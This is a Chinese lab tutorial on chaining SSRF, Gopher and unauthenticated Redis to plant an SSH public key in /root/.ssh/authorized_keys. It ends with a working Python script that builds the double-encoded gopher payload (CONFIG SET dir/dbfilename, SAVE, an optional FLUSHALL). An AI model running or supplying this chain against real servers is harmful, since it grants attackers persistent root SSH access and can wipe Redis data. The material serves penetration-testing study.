SSRF + Gopher 配合 Redis 未授权写入 SSH 公钥
整理在授权靶场中利用 SSRF、Gopher 和 Redis 未授权访问写入 SSH 公钥的分析过程与 Python 辅助脚本。
本文内容仅用于授权靶场和本地实验环境。该链路会修改 Redis 配置并向目标文件写入内容,不要对未授权目标使用。
一、攻击链路与漏洞组合
- SSRF(服务端请求伪造):充当内网“跳板”,让服务器代替攻击者向内网目标发起请求。
- Gopher 协议:传输自定义的原始 TCP 数据,将 Redis RESP 命令发送到目标端口。
- Redis 未授权访问:目标 Redis 未设置密码,且运行权限较高时,可能允许修改配置并将数据写入磁盘。
整体链路是:
SSRF → Gopher → Redis 未授权 → 写入 authorized_keys → SSH 公钥登录
二、前置条件
需要确认以下条件同时成立:
- SSRF 功能支持或间接支持 Gopher 请求;
- 目标 Redis 服务可以从 SSRF 所在服务器访问;
- Redis 未设置认证,且允许执行相关配置命令;
- Redis 进程对目标目录有写权限;
- SSH 服务已开启公钥认证,并允许目标用户登录。
三、核心操作思路
1. 生成 SSH 密钥对
在本地实验环境生成密钥对,并读取公钥内容:
ssh-keygen -t ed25519
cat ~/.ssh/id_ed25519.pub
私钥只保存在本地,不要放进文章、仓库或服务器公开目录。
2. 构造 Redis RESP 命令
脚本需要将多条 Redis 命令拼接成 RESP 格式,主要步骤如下:
- 将公钥前后加入换行,避免写入文件后与其他内容粘连;
- 使用
SET将公钥写入 Redis 键; - 使用
CONFIG SET dir设置保存目录; - 使用
CONFIG SET dbfilename设置保存文件名; - 使用
SAVE将内容写入磁盘; - 使用
QUIT结束连接。
FLUSHALL 会清空 Redis 数据库,只能在明确隔离的实验环境中按需使用,不能把它当作通用的必选步骤。
四、Gopher URL 编码
原始 RESP 数据不能直接放进 URL,需要先进行 URL 编码。通过 SSRF 参数传递时,通常还要进行第二次编码,避免浏览器或中间 Web 组件提前还原 % 字符。
最终形式类似:
gopher://<目标IP>:6379/_<二次编码后的Payload>
其中 /_ 是 Gopher URL 常见的填充形式,目标地址、端口和 SSRF 接口都应根据授权实验环境替换。
五、触发请求与验证
将生成的 Gopher URL 放入实验环境中的 SSRF 参数,触发服务器向 Redis 发送请求。
如果目标环境允许 SSH 公钥登录,再使用本地私钥进行验证:
ssh -i ~/.ssh/id_ed25519 <用户>@<目标IP>
如果公钥写入成功仍然无法连接,需要检查 SSH 配置、目标用户、文件权限,以及是否使用了对应的私钥。
六、踩坑与排查
- 乱码或格式污染:Redis 保存的数据带有 RDB 文件结构;公钥前后的换行和目标文件格式需要结合实验环境验证。
- 权限问题:Redis 进程必须对目标目录有写权限,目标用户的
.ssh目录和authorized_keys也需要满足 SSH 的权限要求。 - 配置限制:某些 Redis 版本或部署方式会限制
CONFIG SET,不能默认认为所有目标都允许修改目录和文件名。 - SSH 限制:检查 SSH 服务是否开启公钥认证,以及目标用户是否允许登录。
- 环境地址:文章中的
<目标IP>、<SSRF接口>和<目标用户>都是占位符,不要直接照搬到其他环境。
七、Python 自动构造脚本
下面脚本只用于授权实验环境。使用时需要将公钥和目标地址替换为当前实验环境的值:
import urllib.parse
target_ip = "<目标IP>"
target_port = 6379
ssrf_endpoint = "http://<SSRF接口>"
# 使用实验环境中的公钥,不要填写或提交真实私钥
public_key = "ssh-ed25519 AAAA... <用户>@<主机>"
# 给公钥前后加换行,避免写入时和已有内容粘连
payload = f"\n\n\n{public_key.strip()}\n\n\n"
payload_length = len(payload.encode("utf-8"))
redis_commands = [
# 仅在隔离实验环境中按需启用;它会清空 Redis 数据库
# "*1\r\n$8\r\nFLUSHALL\r\n",
"*1\r\n$7\r\nCOMMAND\r\n",
f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${payload_length}\r\n{payload}\r\n",
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$10\r\n/root/.ssh\r\n",
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$15\r\nauthorized_keys\r\n",
"*1\r\n$4\r\nsave\r\n",
"*1\r\n$4\r\nquit\r\n",
]
raw_data = "".join(redis_commands)
first_encode = urllib.parse.quote(raw_data)
gopher_url = (
f"gopher://{target_ip}:{target_port}/_"
+ urllib.parse.quote(first_encode)
)
print("请在授权实验环境中使用下面的 URL:")
print(f"{ssrf_endpoint}?url={gopher_url}")
工具说明
ssh-keygen:生成 SSH 密钥对。binwalk、strings等:辅助分析题目文件(如题目还包含文件分析环节)。- Python
urllib.parse:对 Gopher URL 进行编码。 - Redis RESP:Redis 客户端与服务端之间使用的请求格式。
如果需要先把可读的 Redis 命令转换成 RESP,可以参考单独的工具笔记:Redis RESP 转换工具使用说明。
工具项目地址:GitHub:redis-to-resp